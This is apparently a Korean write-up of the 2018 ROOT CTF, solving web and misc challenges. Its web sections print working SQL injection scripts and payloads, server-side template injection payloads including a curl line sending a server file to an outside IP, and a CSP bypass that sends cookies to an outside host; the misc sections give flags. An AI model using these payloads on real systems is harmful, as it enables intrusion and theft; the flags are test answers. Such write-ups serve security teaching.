2018 ROOT CTF Write up

munswings (전체 5등, 학생부 4등)
2018.12.22 09:00 - 2018.12.23 21:00)

Web – Blind man (932pts)

회원가입의 pw부분에서 sqli가 발생하며 인젝션 포인트는 다음과 같다.

insert into user (id, pw) values ('asdf', '{inject point}');

여기서 '),('munsiwoo', (select pw from user x limit 0,1)like'a%  이런식으로 넣는다면

insert into user (id, pw) values ('asdf', ''),('munsiwoo', (select pw from user x limit 0,1)like'a%');

위와 같은 쿼리가 완성되고, munsiwoo라는 계정이 user 테이블에 들어갈 것이다.
여기서 munsiwoo 계정이 비밀번호 1로 로그인이 된다면 admin의 비번이 a로 시작한다는 것이다.
이걸로 blind sqli 스크립트를 작성해주면 된다.

import requests
import random
# made by munsiwoo

def random_id() :
    table = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
    random.shuffle(table)
    return ''.join(table)

if __name__ == '__main__' :
    headers = {
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
        'Accept-Encoding':'gzip, deflate, br',
        'Accept-Language':'ko,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6',
        'Cache-Control':'no-cache',
        'Connection':'keep-alive',
        'Content-Type':'application/x-www-form-urlencoded',
        'Cookie':'PHPSESSID=munxiwu',
        'Host':'sdhsroot.kro.kr',
        'Origin':'https://sdhsroot.kro.kr',
        'Pragma':'no-cache',
        'Referer':'https://sdhsroot.kro.kr/Normal_BSQLI/log.php?reg',
        'Upgrade-Insecure-Requests':'1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'
    }

    reg_uri = 'https://sdhsroot.kro.kr/Normal_BSQLI/work.php?reg'
    log_uri = 'https://sdhsroot.kro.kr/Normal_BSQLI/work.php?log'
    reg_data = {'id':'', 'pw':''}

    payload = "a'),('{}', (select pw from user x limit 0,1)like'{}%')#"
    password = '391415ca14dcb36cd667473fd4d72a69' # this is admin password

    for x in range(50) :
        for y in 'abcdef0123456789' :
            reg_data['id'] =  random_id()
            reg_data['pw'] = payload.format(reg_data['id'][::-1], password + y)
            requests.post(reg_uri, data=reg_data, headers=headers, allow_redirects=False)

            log_data = {'id':reg_data['id'][::-1], 'pw':'1'}
            r = requests.post(log_uri, data=log_data, headers=headers, allow_redirects=False)

            if(r.text.find("Login Success!!") != -1) :
                password += y
                break
            #else :
            #   print('no : '+y)

        print(password)

Web – Secret_chest (50pts)

사이트에 접속하면 검과 박스가 있고, 검을 강화할 수 있는 버튼이 있다.
버튼을 눌러서 강화할 수 있는 레벨은 5~6 정도로 제한이 걸려있다.
하지만 플래그 박스를 열려면 강화 레벨이 10이여야 한다.

https://sdhsroot.kro.kr/sword/asd.js에 접속해보면 강화 레벨은
sessionStorage에 저장되고 결과적으로 개발자 도구를 킨 뒤 아래와 같이 setItem
사용해 강화 레벨에 10을 넣어주고 박스를 누르면 플래그가 나온다.

sessionStorage.setItem("lv", 10);
// flag is FLAG{1!tTle_2sy_3Asy_4l@g}

Web – Normal_SQLI (793pts)

로그인에서 아이디에 sqli가 가능하다.
문제 설명을 보면 0.8초마다 어드민 비밀번호가 바뀐다고 한다.
나는 설명을 보고 작년 시큐인사이드에서 루비형이 발표한 mitm sqli가 생각났다.

' union select @a:=0x3a3a union select @tmp:=0x20 union select
benchmark(200000,(@tmp:= ( select Group_concat(info) from information_schema.processlist
where info not like 0x254d49544d5f53514c495f50574e25 or sleep(0)))^(if((@tmp!=0x00)&&(@a
not like concat(0x253a3a,replace(@tmp,0x0a,0x5c5c6e),0x3a3a25)),
@a:=concat(@a,replace(@tmp,0x0a,0x5c6e),0x3a3a),0))) union select @a limit 3,1#

아이디로 위 쿼리를 날려주면 비밀번호가 바뀔 때 로그인 완료가 뜨며 플래그를 볼 수 있다.
관련 자료는 루비형 블로그 또는 시큐인사이드 2017 발표자료 에서 볼 수 있다.


Web – PinterROOT (979pts)

프로필 수정이나 삭제를 할 때 alert를 띄우기 위해
https://sdhsroot.kro.kr/PinterROOT/fail/user/수정 또는
https://sdhsroot.kro.kr/PinterROOT/fail/user/삭제 로 접속하는데
여기서 수정, 삭제가 들어가는 곳에서 server side template injection이 된다.

https://sdhsroot.kro.kr/PinterROOT/fail/user/{{3*3}} 이렇게 접속해보면

<script>alert('user의 9이(가) 실패했습니다.');
location.href='/PinterROOT/';</script>

위와 같이 “9이(가) 실패했습니다.”라고 뜨는걸 확인할 수 있다.

https://sdhsroot.kro.kr/PinterROOT/fail/user/{{get_flashed_messages.__globals__.os.system(request.args.a)}}?a=curl --data-urlencode `cat /var/www/PinterROOT/db.py` 118.37.183.185:8080

이렇게 해주면 system 함수를 실행시킬 수 있고, 나는 아래의 페이로드로 플래그를 읽어왔다.

https://sdhsroot.kro.kr/PinterROOT/fail/user/{{''.__class__.__mro__[2].__subclasses__()[40](request.args.a).read()}}?a=/var/www/PinterROOT/webtool.py

PinterROOT 부연설명

/var/www/PinterROOT라는 디렉토리 위치는 system 함수를 통해 ls로 알아냈고
인코딩 문제로 해당 디렉토리의 파일 리스트가 안보여서 파일 리스트는 /robots.txt로 알아냈다.

User-agent: * Disallow: /templates/ Disallow: /db.py Disallow: /image_control.py
Disallow: /webtool.py Disallow: /webtool.wsgi

Web – ROOT_Karaoke (957pts)

문제 사이트의 기능은 대충 아래와 같다.
오디오 파일과 설명을 업로드할 수 있고 다른 사람을 친구로 추가하면
내가 업로드한 오디오 파일과 설명을 공유할 수 있다.

그리고 설명 부분에 태그를 넣고 업로드하면 태그가 치환되지 않고 그대로 올라간다.
스크립트를 삽입하면 바로 실행될 것 같지만 아래와 같이 Content-Security-Policy가 걸려있다.

Content-Security-Policy: script-src 'self' https://sdhsroot.kro.kr/ 
https://code.jquery.com/ https://cdnjs.cloudflare.com/ 
https://maxcdn.bootstrapcdn.com/bootstrap/

즉, 특정 스크립트를 삽입한 파일을 업로드하고 해당 파일을 script 태그로 실행시켜야 한다.
설명과 함께 오디오 파일도 업로드할 수 있었기 때문에 오디오 파일을 이용했다.

example

<script src="[audio file]"></script>

하지만 크롬에서는 wav, mp3, ogg와 같은 오디오 파일을 이용한 스크립트 실행을 막고 있었고
https://ctftime.org/writeup/9987 이 글을 참고해보면 wave 파일만 허용한다고 한다.
따라서 wave 파일에 스크립트를 삽입하고 해당 wavesrc로 넣으면 csp bypass가 가능하다.

------WebKitFormBoundaryCAvyAKyKLRBwIYgA
Content-Disposition: form-data; name="title"

<script src='./uploads/104.wave'></script>
------WebKitFormBoundaryCAvyAKyKLRBwIYgA
Content-Disposition: form-data; name="audio"; filename="asdf.wave"
Content-Type: image/png

location=`http://withphp.com:8080/?${document.cookie}`
------WebKitFormBoundaryCAvyAKyKLRBwIYgA--

참고로 페이로드를 넣기전에 root라는 계정을 친추해야 봇이 내 글을 읽는다.


Misc – MIC DROP (50pts)

문제 설명에 플래그가 있다.

제 2회 서울디지텍고등학교 청소년 해킹방어대회에 오신 것을 환영합니다!
모든 Flag 형식은 "FLAG{}" 과 같은 형식을 갖추고 있습니다.

FLAG{M1c..Dr0p..M1c..Dr0p..Welc0me_T0_R00T_CTF_2018!!}

Misc – HubGIT (458pts)

git show 하면 플래그가 나온다.

commit cc7611208282c863e4a9c09c821c8db124050898
Author: root <root@root.com>
Date:   Fri Dec 21 05:34:10 2018 +0900

    FLAGFLAGFLAGFLAGFLAGFLAGFLAGFFFLLL@@@@@@@@GGGG

diff --git a/flag b/flag
new file mode 100644
index 0000000..62548ea
--- /dev/null
+++ b/flag
@@ -0,0 +1 @@
+FLAG{GIT_8rob1em_7h@t_C4n_b3_50lv3d_in_O63_M1nu7e!}

Misc – Encoded_Code (611pts)

손으로 풀었다.
손브포


Misc – FindMe! (188pts)

HxD로 열면 플래그가 나온다.